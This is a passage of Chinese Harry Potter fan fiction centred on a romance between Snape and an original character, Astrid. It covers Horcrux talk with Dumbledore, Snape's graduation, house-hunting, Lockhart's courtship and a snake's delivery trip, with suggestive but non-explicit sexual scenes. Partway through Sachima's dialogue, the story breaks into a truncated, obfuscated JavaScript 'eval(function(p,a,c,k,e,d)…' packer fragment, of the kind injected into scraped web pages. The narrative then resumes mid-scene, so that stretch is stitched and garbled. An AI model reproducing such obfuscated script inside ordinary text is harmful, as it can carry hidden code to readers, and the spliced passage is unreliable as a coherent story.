“对了,校长先生,古灵阁里,还有一个魂器,赫奇帕奇的金杯。我能感知到它的气息,跟拉文克劳的冠冕一模一样,阴冷、腐朽,带着那个人的印记。” “你确定?” “确定。”阿斯特丽德点头,“就在古灵阁的地下金库里,很深的地方,防护等级很高。我听妖精的意思,那应该是某个大家族的私人金库。” 邓布利多走回书桌前,拿起滋滋蜜蜂糖,递给她一颗。 “这件事我会想办法。不过眼下,更重要的是带萨其马去体检。要是错过了预约,庞弗雷夫人会不高兴的。” 阿斯特丽德接过糖,正准备告辞,又听见邓布利多发问:“不过,我很好奇——为什么你会选择把这件事告诉我?” 这个问题她一时难以回答。 为什么? 因为邓布利多是被斯内普杀的,而斯内普又是被伏地魔杀的。两个选一个,她当然选择跟杀了斯内普的那个作对。 更何况,她始终站在霍格沃茨这边。当汤姆向这座城堡开炮的那一刻,她就注定是要跟他对抗的。 她的目光落在窗台上——福克斯正在那里梳理羽毛,萨其马盘在它旁边,两个家伙正凑在一起,不知道在交流什么。 “因为福克斯是萨其马的朋友。”她说。 接下来的日子,一切都在有条不紊地推进。 “撑了么”的运营越来越成熟,已经成了霍格沃茨学生们离不开的日常。那些穿着银白色制服的小e猫头鹰也变成了霍格沃茨的固定风景线,每天穿梭在各个楼层之间,把热腾腾的餐食送到饥肠辘辘的学生手上。 而随着用户量的增加,已经有商家开始找上门来,想在平台上投广告。 有的提议在下单界面加上他们的店名,有的想赞助猫头鹰们的小背包,还有的甚至设计了一款小挂饰,想让猫头鹰们挂在脖子上飞。 阿斯特丽德照单全收,只是每条广告都加了一句“最终解释权归A.S所有”。 四月初,尼可·勒梅的信终于到了。 他在信里说,他和佩雷纳尔已经回到英国,休息几天后就会前来霍格沃茨。他还特意注明,希望霍格沃茨方面准备好茶点,并提前把那间密室的卫生打扫一下,“最好是有品质的红茶和不太甜的小饼干。另外,我可不想穿着新袍子踩一脚灰。” 邓布利多念完信,笑呵呵地对斯内普说:“可以开始准备了,斯内普先生。希望你那锅软化禁制的药液,能在尼可抵达时刚好达到最佳状态。” 四月中旬,最深的那间密室里,四个人加一条蛇,挤在巨大的石床前。 邓布利多一路上挥着魔杖,用清理一新把密室里积年的灰尘和霉斑收拾了一遍,那些青苔被清得干干净净,石墙露出本来的颜色,整个空间看起来终于像个能待人的地方了。 尼可·勒梅背着手,绕着那张石床转圈,啧啧称奇:“萨拉查·斯莱特林的手笔!我研究了一辈子炼金术,还是第一次亲眼见到他的作品。”他转过头看向邓布利多,“阿不思,这可比埃及金字塔有意思多了。” 邓布利多笑呵呵地回应:“我也是去年才知道有这个地方。你得感谢杜兰特小姐,是她找到的。” 尼可·勒梅终于转完圈,伸手摸了摸那层流转着光芒的防护罩:“解开这个禁制,需要一点时间。它太精巧了,每一层都是独立的,但又互相支撑。破解一层,其他几层就会自动加固。”他又看向斯内普:“小伙子,你那锅药熬得怎么样了?” “已经在最佳状态,随时可以开始软化。” 尼可·勒梅满意地点点头:“那就这么办——我研究我的,你软化你的。咱们双管齐下,争取在期末之前搞定。” 60.未来 57. 从五月中旬开始,阿斯特丽德就不得不每天跑到那间最深处的密室里,与自己的原身进行漫长的恳谈——更准确地说,是给原身里沉睡的那些力量做思想工作,因为她被赤裸裸地鄙视了。 就在几天前,当尼可·勒梅与斯内普终于联手破解了萨拉查留下的那套繁复精巧的炼金术禁制后,所有人都满怀期待地注视着那些被封存了千年的力量如同出笼的鸟群般向它们阔别已久的主人涌去——却在触碰到她身体的那一刹那,生生顿住了。 它们停在她面前,仿佛一群急于归巢的飞鸟忽然发现巢穴已被拆毁,然后在半空中盘旋了半晌,犹豫地打了个转,最终掉头——又飞了回去。 齐刷刷地,没有一丝留恋。 甚至速度比涌出来时更快,简直像在逃离什么可怕的陷阱。 几个人面面相觑,就连萨其马都发出了困惑的嘶嘶声:‘这是怎么回事?它们不认识你了?’ 阿斯特丽德站在石床边,感受着周围或困惑或探究的目光,觉得自己这辈子都没这么尴尬过——估计也就仅次于某天早上醒来发现内裤穿反后被斯内普用意味深长的目光打量。 她轻咳一声,脸上努力维持着镇定,尽量云淡风轻地解释:“它们嫌弃我现在这副身体——你知道的,普通麻瓜构造,凡人之躯,不足以承载来自远古的、神圣的、优秀得不可一世的力量。” 在周围人愈发古怪的面色中,她硬着头皮继续往下说:“这些力量也是有自己的……性格和审美的。它们甚至还怀疑我是某个喝了劣质复方汤剂的窃贼,不过好在它们认得出我的灵魂本质,所以没有当场揍我一顿——这已经算是不幸中的万幸了。” “所以你的意思是,”斯内普定定地看着她,语气里是难以掩饰的失望,“你无法接收这些力量?” “嗯,差不多就是这个意思。”阿斯特丽德耸了耸肩,“就像萨其马的鳞片拥有强大的魔法抗性——能免疫包括索命咒在内的绝大多数攻击——我的原身也有类似的配置。这些羽鳞、粗壮的尾巴,甚至竖瞳和头发丝,都带着属于神明本体的特质,跟我现在这副普通人的躯壳自然不可同日而语。” 那些力量显然更愿意待在原装出厂配置里,毕竟那儿条件好,待遇高,足够有规格。而如果强行把它们塞进她现在的身体里,会有什么恶劣后果——比如说,把她撑成一滩有意识的烂泥——那可就不好说了。 想到这里她又不得不庆幸当初吸收那座透明雕像里的残余力量时,那里面残留的已经微乎其微,不足以对她的健康造成实质性损害——否则她可能早就被那股庞大的力量反噬得渣都不剩了。 估计萨拉查当年也没想过,有朝一日她会变成麻瓜的样子回来,不然他高低得留下点秘籍之类的引导她,助她神功大成什么的。 所以还能怎么办?她只能每天雷打不动地来给那些力量开座谈会,做思想工作,动之以情晓之以理地告诉它们外面的世界有多精彩、跟着她出去能吃香的喝辣的,同时试探着一点一点引导那些力量缓慢地、小心翼翼地融入自己现在这副身体里。 她总不能去请伏地魔来把自己的灵魂切巴切巴,挑上一块最大最好的塞进原身里——“你好,汤姆,祖奶奶拜托你个事,帮我做个魂器。” 这不纯纯等着啃大瓜么。 于是,一直到六月底,当斯内普作为优秀毕业生穿着那身标志学业有成的袍子离开学校时,她都还停留在有进步的摔炮水平——那点微弱的魔力比起一年前确实增长了些许,但也只是从“连羽毛都飘不到及格线高度”进化到了“能让羽毛飘起来悬停一会儿然后缓缓落下”的程度,进步幅度微小得需要拿着放大镜才能勉强辨认。 而斯内普呢,在挥别了七年校园生活后,秉持着一个年轻人应有的事业心和抱负感,努力地……待在蜘蛛尾巷那间散发着魔药气息的屋子里,没日没夜地熬他的药剂。 “你没给魔法部投简历?”七月的某一天,阿斯特丽德正杵在工作台前帮他切雏菊根,小刀在她手里灵活地翻转着,把根茎切成均匀的小段,“我听说今年扩招了,名额比往年多了六个。你笔试肯定能过——以你那堆‘O’的成绩单,闭着眼睛写都能进前十——至于面试,有卢修斯在背后运作,拿个前三名应该不成问题吧?” 已经成为社会人士的斯内普先生悠然地搅拌着坩埚里咕嘟冒泡的深绿色液体,另一只手拿起刚采购回来的香料凑到鼻尖闻了闻:“魔法部那些工作,钱少,事多,离家远。”他的目光从那锅药液上移开,意味深长地瞥了她一眼,“更何况最近不太平,搞不好要拼命。这不符合某位女士对我的期许,而我一向尊重女士的意愿。” 阿斯特丽德切雏菊根的动作顿住,抬起头对上他的目光。 “况且,不是有人说过会养我吗?”斯内普悠悠地继续说,“怎么,这才刚开始就嫌弃上了?我记得——事业和金钱,似乎并不算在男人最重要的几样东西里?” 阿斯特丽德一噎,随即飞快地为自己挽尊:“我那也是担心你在家里闷出什么毛病来——多走动走动,晒晒太阳,有助于分泌多巴胺,对身心健康有好处。”她很快摆出另一套说辞,试图在这个话题上扳回一局,“再说了,男人最重要的东西是什么,那要具体情况具体分析。比如你在给《魔法未来》投稿的时候,贞操这种东西就不太顶用了——难道审稿的人还会在乎你是不是处男?” “但我相信,体力始终是重要的。对一个男人来说,在任何情况下都是如此。无论是在追逐名利时,还是在……”他意味深长地停顿了一下,目光从她脸上慢慢往下滑,又慢悠悠地挪回来,“其他需要持久力的场合。” 阿斯特丽德秒懂。 他就是在鄙视她的体力,暗戳戳地嘲讽她在毕业晚会那天的表现不尽如人意。 当时城堡已经陷入沉睡,有求必应屋被他变成一间宽敞的卧室,中间摆着一张足够两人滚来滚去的kingsize大床。 “这可是我的毕业之夜,阿斯塔。”他灼热的呼吸就紧贴在她耳边,用遗憾的口吻控诉着:“你怎么就这么点体力?我还没好好享受这个夜晚呢,你就要喊停了吗?”体力绝佳又血气方刚的斯内普先生当时在那张柔软的大床上煎鱼时,就是这么说的——而且不只说了一遍,在每一次她气喘吁吁地想要投降时,他都会用低沉缱绻的嗓音重复类似的话,配合着毫不掩饰的得意,以及恰到好处的委屈,仿佛她做了什么天怒人怨的亏心事。 “可我又不是一条鱼,”她当时义正言辞地抗议,尾音都带着颤,“翻来覆去没完没了地煎,并不会让我的肉质更紧实有嚼劲,只会让我散架——字面意义上的散架。” 结果当然是抗议无效。 就像当年在鼻涕虫俱乐部的舞池里一样,他用千奇百怪的理由拉着她一遍又一遍,力求“不给今夜留下任何遗憾”。 “这会是我人生中最难忘的一天,阿斯塔。”当他缠绵缱绻地贴在她耳边说出这句话时,她只能没出息地从了——比那些引食死徒进村的凰奸屈服得还要快,还要彻底。 而在被用各种姿势耐心细致地料理时,某位已经处于半散架状态的鱼小姐晕晕乎乎地想:摩羯座果然是当公务员的好料,干什么都讲究个流程完整、不留遗憾。而且如此的有耐心,有条理,如此……持久。 “所以你放弃了一个胜券在握的机会,”她试图把话题拽回正轨,尽量让自己的表情显得严肃正经,仿佛刚才那些旖旎的回忆从未出现过,“只是为了能按时躺上床并——煎鱼?” 斯内普关掉坩埚下的火,不紧不慢地转过身,面朝她靠着操作台,修长的双腿随意交叠着,姿态十分闲适:“我想你可能误会了什么,亲爱的阿斯塔。我选择留在这里,是因为我终于找到了比魔法部那些无聊文书更有意义的事——比如,每天守着这几口坩埚,等着某个声称要养我的女士来陪我聊天。至于躺上床煎鱼——”他嘴角勾起一个若有若无的弧度,“那只是这份工作附带的福利,虽然确实是很诱 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此刻,那些低矮敦实的、带着小小花园和精致门廊的各色小楼,在夏日阳光下显得格外俏皮。形态各异的窗户上挂着各种各样的干草药和魔法生物的部位,空气中弥漫的复杂香气从辛辣的嚏根草到甜腻的月光花蜜,应有尽有。偶尔有推着婴儿车的年轻巫师从他们身边经过,微笑着点头致意。 宣传单上写着,这里最著名的住户是一位名叫老玛姬的巫婆,她经营着一家“百味魔药屋”,专门出售各种口味奇特的魔药,比如能让人暂时拥有夜视能力的“猫眼汽水”,或是能让人说出任何语言的“百灵鸟糖浆”。 斯内普站在她身侧,抬眸望向附近那一栋栋掩映在绿树丛中的敦实小楼,午后的阳光在他侧脸上勾勒出柔和的轮廓。 “总得为我们的未来做准备,不是吗?你和我都不喜欢蜘蛛尾巷——那条街除了让人抑郁之外,实在提供不了什么有价值的居住体验。不过,如果你确实很喜欢麻瓜街区的生活方式,那女贞路是个不错的选择。我考察过,那里住的人还算讲究,不会有人在半夜砸酒瓶骂街。而且邻里关系简单,离科克沃斯不远,幻影移形也就几秒钟的事。但我更推荐这里——”他的目光落在那张楼盘宣传单上,“这里离霍格莫德近,方便你看店。” 阿斯特丽德收回目光,笑嘻嘻地打量着他:“哦?所以这是准备好成为一个有妇之夫了,斯内普先生?” 斯内普低下头,对上她的目光,面上是一片沉静的、笃定的温柔:“乐意之至——或者说,期待已久。” 房屋中介是个穿着格子长袍的年轻男巫,说话带着一口浓重的苏格兰口音。他带着他们看了好几所房子——有的太大,有的太小,有的花园朝向不好,有的厨房光线太差。 最后,他们停在那条街的尽头,一栋紫罗兰色的小楼面前。 “这栋,”阿斯特丽德站在花园门口,左右看了看,然后一锤定音,“就这栋了。” 斯内普站在她身边,等着她说理由。 “你看,”阿斯特丽德伸手指向街道的另一头,“从这边走过去,就是霍格莫德的入口。以后要在那边开分店的话,住在这多方便。” 斯内普闻言哼笑一声,了然地接话:“确实,你早就把主意打到蜂蜜公爵头上了——蓄谋已久地要在他们隔壁开一家主卖牙膏和漱口水的店,让那些吃完糖果牙疼的小崽子们第一时间就能找到救星。而住在这里,正好方便你每天去踩点。” 阿斯特丽德瞅了他一眼,没反驳。 中介喜笑颜开地开始准备合同。 而斯内普在签字的时候,心里想的却是另一回事—— 住在这里,不仅方便看店,更方便在她三年级以后,每个霍格莫德周末都能看到她。 不用守着坩埚,像个空巢老人一样孤零零地等着她放寒暑假。不用在那些漫长的日子里,仅依靠信件和追踪咒来确认她还在。 他可以看着她从车站走出来,穿着校袍,跟菲琳娜说说笑笑,然后朝着那家新开的“A.S口腔护理”走去。 他可以在人群里远远地看她一眼。 或者,不那么远。 61.洛哈特 58. 由于那栋漂亮的新房还要装修布置半年——妖精装修队虽然手艺精湛,但工期从来不会因为你加价就缩短,这是他们千百年来的职业操守——所以两人还是得暂且苟在蜘蛛尾巷。 新学期前的最后一个夜晚,蜘蛛尾巷二十三号狭小的卧室里弥漫着旖旎的气息。阿斯特丽德趴在斯内普尚未完全平复呼吸的胸口,一手托着腮,“其实,我一直想等A.S发展壮大之后,在品牌名后面加一句——来自蜘蛛尾巷。” 斯内普靠在绘着月光草花纹的枕头上,一只手还搭在她光裸的肩头,指尖有一下没一下地摩挲着因为刚才的激烈而微微泛红的皮肤。他的脸上还残留着事后的慵懒与餍足,闻言嘴角勾起一个懒洋洋的弧度:“听起来像是廉价红酒的产地说明,或者是某条流浪狗的身份证明——‘本品产于蜘蛛尾巷,经受过恶劣环境考验,品质坚韧,不建议娇贵者使用’。” 阿斯特丽德没理会他的打岔,继续说下去:“如果不是你五岁后搬来了这里,而我也恰好被姑妈收留,那我们就不会相遇。”她把脸埋进他胸口,蹭到点上面的薄汗,“这是我们一起挣扎着逃离的来处,西弗。就算将来住在锅底巷那种体面的地方,我也不想忘记这个。” 斯内普抬起搭在她肩头的手,手指穿过她散落的白金色发丝,一下一下轻柔地梳理着。 “一个很有意思的想法——把一条臭水沟和一堆发霉的记忆变成值得骄傲的徽章。最好配上我和你的合影,旁边再站一条戴墨镜的蛇。” 阿斯特丽德趴在他胸口笑,整个人轻轻震动着。斯内普轻轻拍了拍她的后背,继续低声说着:“不过我不得不承认,如果一定要有个来处,蜘蛛尾巷至少教会了我们几件重要的事:如何分辨真正的饥饿和只是嘴馋的区别,以及——如何在被整个世界抛弃时还能抓住彼此。” 阿斯特丽德的笑声在狭小的房间里轻轻回荡,混着窗外偶尔传来的、远处酒鬼的含混嘟囔声。 第二天一早,当霍格沃茨特快列车的红色火车头在九又四分之三站台上喷着白色蒸汽时,已经毕业并待业在家的前优秀学生斯内普先生正站在那堵分隔魔法世界与麻瓜世界的墙壁旁边,面无表情地帮他的女朋友整理着项链吊坠——尽管有路过并瞥去一眼的行人认为这毫无必要。 说实在的,对于此情此景,阿斯特丽德心里确实于甜蜜中生出些无所适从的尴尬来。 周围那些推着行李车的学生们,身边要么是絮絮叨叨叮嘱着“多写信”“别跟斯莱特林打架”“记得好好吃饭”的长辈,要么是三五成群凑在一起分享暑期趣事的同龄人,再不然就是独自登上列车的酷哥拽姐,一副“世界好坏与我无关”的冷漠脸,谁也不搭理。而即便是那些成双成对的——她目光扫过不远处正在热吻的一对高年级情侣,那两人显然正尽情倾诉着整个假期的思念——那也是双双把学上,假期过后还能在列车上继续腻歪。 只有她,一个十八岁的大龄插班生,被自己的男朋友送到站台,然后独自登上那辆即将驶向霍格沃茨的列车。 路过某些一年级新生时,她已经尽量忽视那些飘进耳朵里的天真询问了。 一个扎着双马尾的小姑娘扯着她妈妈的袖子,用自以为很小声实际上谁都听得见的音量问:“妈妈,那是我们的老师吗?” 旁边一个小胖子更离谱,盯着她看了半天,然后对他爸爸说:“哦,一定是推着小车售卖零食的女巫姐姐吧,你看她的项链好漂亮。” 那些声音清脆又无辜,却足以让阿斯特丽德尴尬加倍。她只能面无表情地推着车继续往前走。 斯内普一向比她定力好得多,始终维持着那副没听见也不在意的冷漠模样。直到列车启动的汽笛声响起,她趴在窗边朝站台上的那个黑色身影挥手时,看见—— 斯内普站在站台上,双手插在裤兜里,当列车缓缓移动时,他用那两片微微发肿的嘴唇缓慢地、清晰地做出一个口型:“再见,卖零食的杜兰特教授。” 阿斯特丽德瞪大眼睛,还没来得及做出任何回应,列车就已经轰隆隆地驶出站台,把那个黑色身影远远甩在了身后。 哦,这个可恶的、在家啃老(婆)的斯内普宅男! 当她终于坐在大礼堂时,那种无所适从的感觉非但没有消退,反而因为周围的环境而变得更加鲜明起来。头顶那些悬浮的蜡烛依旧摇曳着将整个大厅笼罩在金红色的光晕里,镀金的餐盘中依旧堆满了热气腾腾的食物,但坐在她身边的人却已经完全变了样。 虽然有菲琳娜陪伴在侧,但艾丽斯、莉莉和玛丽都已经毕业离校,以往属于她们的位置此刻坐上了兴高采烈的新生。那些小巫师们一边兴奋地打量着四周,一边对身边这位明显比他们大好几岁的女生投来克制又不解的目光。 而斯莱特林长桌那边……情况更加糟糕。 那个以往总是安静地坐在某个固定位置、承载着她全部目光的漆黑身影,此刻应该正在蜘蛛尾巷敷衍地烹饪着晚餐——或者更坏一点,干脆守在咕嘟冒泡的坩埚旁边,错过这顿自十六岁夏天起就再未体验过的、真正意义上的单人晚餐。 她几乎能想象出那个画面:他站在操作台边,一边搅拌着某锅颜色可疑的液体,一边用懒洋洋的腔调跟萨其马抱怨着什么,而萨其马则会用同样懒洋洋的嘶嘶声回应他,一人一蛇在昏黄的灯光下相依为命,构成一幅可怜巴巴的空巢男性图景。 凭借着对斯内普此刻状态的畅想,阿斯特丽德顺利度过了漫长的校长讲话环节——邓布利多今天似乎格外有谈兴,从新学年的注意事项一直扯到了他年轻时候在某个魔法集市买到过一只会唱歌的袜子,还顺便提了一句“今年霍格莫德新开了一家不错的口腔护理店,建议大家去看看”——话说到最后,那双蓝眼睛明显往格兰芬多长桌这边瞟了一下。 紧接着,在她习惯性地将目光往更远处投去一点时,正对上一个闪亮亮的、完美无缺的标准微笑。 她甚至还下意识数了一下,八颗牙齿,不多不少,在烛光下闪闪发光,像是刚从牙膏广告里走出来的模特。 “那是谁?”她忍不住侧头问身边的菲琳娜。 菲琳娜顺着她的目光看过去,脸上立刻浮现出“我就知道你会问”的表情:“哦,拉文克劳四年级的,吉德罗·洛哈特,一个……呃……微笑天使。”她忍不住摊手,“至少他自己是这么宣称的。” 阿斯特丽德又转过头,隔着几排长桌遥遥地看了洛哈特一眼。对方的笑容依旧灿烂,犹如刚拿到梅林勋章。 如果只是微笑天使的话,那她报以微笑应该也没什么问题——毕竟基本的社交礼仪还是要遵守的。 于是她也笑了一下。 结果洛哈特对她眨了眨眼。 阿斯特丽德甚至觉得他给自己抛了个眼波——那种很明显的、带着某种暗示的、让人浑身起鸡皮疙瘩的眼波。 咦惹…… 菲琳娜适时地凑过来,压低声音提醒道:“别对他笑,阿斯塔。” “嗯,我已经遭受恶果了。”阿斯特丽德悔不当初地收回目光,假装对面前那份还没动过的南瓜汁产生了浓厚兴趣。 同样没错过那个眼波的菲琳娜继续补充:“不止是那个,他还对你有所图。” “嗯?怎么说?”阿斯特丽德惊奇地抬起头,脸上写满了求知欲。 菲琳娜放下手里的餐叉,摆出一副八卦播报员的姿态:“他虽然比你小四岁,但他宣称——这是他自己宣称的,我姐姐的原话——他就喜欢成熟美丽的姐姐。而你,阿斯塔,你是A.S的创始人,‘撑了么’的幕后掌控者,名下还有一家刚刚开业的霍格莫德分店。他很想与你有点什么。” “有点……什么?”阿斯特丽德的思维开始发散,努力在“足以让斯内普黑着脸阴森森地把他扔进黑湖里”和“攀附富婆好为自己谋取好处”之间寻找一个合适的落点。 菲琳娜没有让她思考太久,直白地给出了答案:“是想侍奉富婆姐姐的那种,独角兽会所里的那种。” 哦,阿斯特丽德明白了。 洛哈特几经筛选后,选中了她这个既有财富又没什么魔法实力的“鱼”——毕竟在纯血小姐们眼中,他那点花哨的把戏根本不值一提,而麻瓜种巫师又不能给他提供想要的助力,所以她这个有钱又好说话的大龄插班生,自然就成了最理想的狩猎目标。 可她不想再做鱼了。 她做腻了,真的……做……腻了。 “可是我跟西弗勒斯关系很好呀。”她忍不住说。 这不是什么秘密,全校师生都知道。就连伏地魔都知道,还曾经隐晦地向斯内普提过可以顺带解决家属就业问题呢。 “所以他才只是想侍奉富婆姐姐换取好处啊,”菲琳娜耸了耸肩,“而且等斯内普离校了才敢有所表示——毕竟他还想多活几年。”她压低声音补充道,“据我姐姐说,洛哈特这个人虽然看着花哨,但脑子其实挺好使的——他知道什么人能招惹,什么人不能。” 那不就是挑软柿子捏? 而她恰好就是那个倒霉的软柿子。 呵…… 阿斯特丽德发出一声斯内普式冷笑:“可我不喜欢小奶狗。” 她喜欢黑漆漆的大蝙蝠,从来都是。 但她显然低估了洛哈特此人的决心,或者说,他那份近乎盲目的自信心。 他不仅在图书馆门口堵住她,露出一口足以闪瞎人眼的牙齿,然后一路自说自话地陪着她走到大礼堂;还会频繁地找小e猫头鹰下单,给她送玫瑰花做成的发卡——那些玫瑰倒是挺新鲜的,但发卡的造型实在太过浮夸——以及会自动唱歌的情书,那些信拆开后会飘出一阵悠扬的旋律,配上他华丽的字迹,像极了情人节特供商品。 他甚至毫不避讳地在情书里写: “亲爱的杜兰特小姐——请允许我这样称呼您,尽管我们认识的时间不长,但我对您的仰慕之情已经如同禁林深处的藤蔓般疯长。我完全理解您有男朋友这件事。毕竟像您这样美丽、成功、充满魅力的女士,身边有几个追求者是再正常不过的事。但我相信,真正的爱情不应该被世俗的条条框框所束缚。我不介意自己不是您的唯一,甚至愿意当您最贴心的解语花——你知道的,有些话只能对懂你的人说。而有些人,虽然天天守着您,却未必真的懂您,不是吗?当然,如果您愿意在A.S品牌下一季的广告中给我留一个位置,我将不胜感激。您忠实的,吉德罗·洛哈特。” 旁边还画了一朵含苞待放的玫瑰,配文“等你来采摘”。 阿斯特丽德不止一次礼貌地表示,她有男朋友了,而且感情稳定,稳定到足以在蜘蛛尾巷那间小屋里度过整个暑假而不生厌。 但洛哈特自动将这一切解读为她在害羞,在欲拒还迎。毕竟,谁被他这么一位帅气优秀的男巫追求,都会矫情一番,以考验他的真心和毅力。没关系,这是淑女们的特权,是矜持的表现,也正是她们可爱的地方。 于是他变本加厉。 阿斯特丽德悔不当初。 她就不应该给他好脸。 不对,就不应该给他脸。 她甚至忍不住开始畅想,要是斯内普此刻还在这里,他会给洛哈特一个石化咒还是倒挂金钟?或者干脆两个一起上,让他倒挂在拉文克劳塔楼上吹一晚上冷风,顺便让全校师生来欣赏他那口闪亮的牙齿在风中晃荡的样子? 哦,她想西弗勒斯了。 当然,她的西弗勒斯也在想她。——并且正跟盘踞在操作台边的萨其马进行着一场艰难的谈判。 ‘你去学校看看她,把东西带给她,然后再回来。’斯内普站在坩埚旁边,手里拿着一瓶刚熬好的魔药。 萨其马从迷你小窝里探出脑袋,透过小墨镜打量着面前这个最近越来越会差遣蛇的人类。它发出一声懒洋洋的嘶嘶:‘老萨其马最近身体不适,不宜长途飞行。你应该尊重老年人的身体状况,西弗勒斯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妈妈爸爸!爷爷奶奶!外公外婆!姨姨舅舅叔叔婶婶!俺出息了!俺在搞副业的第89天,竟然要带着蛇王大人去远航了! 如果我遭遇了什么不测的话——比如说,被这条看起来绝对不普通的蛇一口吞掉,或者被传说中的死亡凝视不小心扫到——请不要为我哭泣,只需要记得我的小肉干都藏在树屋第六层的榛子壳下面,左边第二块松动的树皮后面。 什么?问它为什么不拒单? 呵…… 富贵险中求,这点道理它还是明白的。如果它今晚成功运送了蛇王大人,这份工作经历足够它吹好几辈子不带重样的! 它,将是小e猫头鹰的王! 未来所有小e见了它都得低头行礼,尊称一声“前辈”! 于是,在这个月黑风高的夜晚,未来的猫头鹰之王身背一个大包裹,脚爪下紧紧抓着优哉游哉的蛇王,雄赳赳气昂昂地炸着浑身的毛,以此生最快的速度飞向了格兰芬多塔楼。它在夜色中划过一道白色的轨迹,每一根羽毛都在风中颤抖,但那双圆溜溜的眼睛里燃烧着的是野心和荣耀。它躲过了几只夜巡的猫头鹰,避开了皮皮鬼扔过来的粉笔头,终于在宵禁前成功降落在阿斯特丽德寝室的窗台上。 成功卸货之后,它颤抖着递出评分卡,用“我完成了使命”的雄壮姿态看了萨其马一眼,随即头也不回地、以近乎逃命的速度飞向自己家——它要去跟兄弟姐妹们分享这一壮举,顺便检查一下树屋第六层的小肉干还在不在。 暖黄温馨的宿舍里,阿斯特丽德惊喜地举起正从窗台上滑下来的萨其马,把它凑到眼前仔细端详,然后在它脑袋上亲了一口,“乖马马怎么来了?” 萨其马矜持地接受了这个亲吻:‘想你了。’ 它又很诚实地补充道:‘是西弗勒斯派我来看望你的。他走不开,让我代表他来。’ 阿斯特丽德眼睛弯成两道月牙,又亲了它一下,才把它放在床上,一边抚摸着它冰凉的鳞片,一边问:“他最近怎么样?你们过得还好吗?” 萨其马斟酌了又斟酌,然后开始吐槽,嘶嘶声里满是“本勇士受够了”的怨念:‘还是老样子,他不好好吃饭,我也不好意思一个人吃。他给我煮过妙鲜包意面!你知道那是什么味道吗?就是……算了,你不需要知道。总之,吃不上热乎饭。’ 阿斯特丽德连忙从柜子里拿出些面包和肉干递给它,让它先垫垫肚子。趁着萨其马埋头进食的功夫,她开始拆那些堆在桌上的包裹。 里面有几瓶帮她提升体质的魔药——瓶身上贴着标签,用熟悉的、严谨的字迹写着服用剂量和注意事项。 还有新家装修的草图——每一个房间都被仔细标注,客厅的壁炉旁甚至画了两把相对的扶手椅,中间的小茶几上摆着一个圆滚滚的东西,看起来像是某条小蛇的迷你版。 以及花园的规划图,后院被划分成几个区域,其中一个被标注为“萨其马的日光浴区”,旁边还画着一副袖珍墨镜。 另外还有刚开张的霍格莫德分店的首月流水明细。那数字……相当可观。 阿斯特丽德的嘴角一直翘着,怎么也压不下来。她当即就打开一瓶魔药,捏着鼻子一口气干完——味道还是那么一言难尽,但效果确实好,一股暖流从胃里蔓延开来,涌向四肢百骸,整个人都精神了不少。 用温水漱过口,她才拿起那张简短的羊皮纸。上面只有几行字,却让她看了好几遍: “魔药每日一瓶,饭后服用。装修进度正常,花园预留了药圃的位置。分店流水超出预期,营销策略有效。另,萨其马想念你——顺便一提,我也是。” 阿斯特丽德盯着最后那几个字,笑得甜蜜极了。 她快速拿起羽毛笔,写下了自己的近况: “魔药已喝,味道依旧感人。洛哈特每天都在展示他那八颗牙齿,我快被闪瞎了。想你,没有你在身边,吃饭都不香了。PS:记得好好吃饭。” 写完后,她看着正埋头吃肉干的萨其马,想着这么晚了让它又颠簸一路,不太好。 于是她决定,明天带着它饱餐一顿,再给斯内普多打包一点霍格沃茨美食,然后再送它回去。 她摸了摸萨其马的头,轻声说:“明天带你去吃好的,再给西弗带点回去。” 萨其马满意地点头,吃完夜宵后把自己盘成一个圈,心满意足地打起呼噜。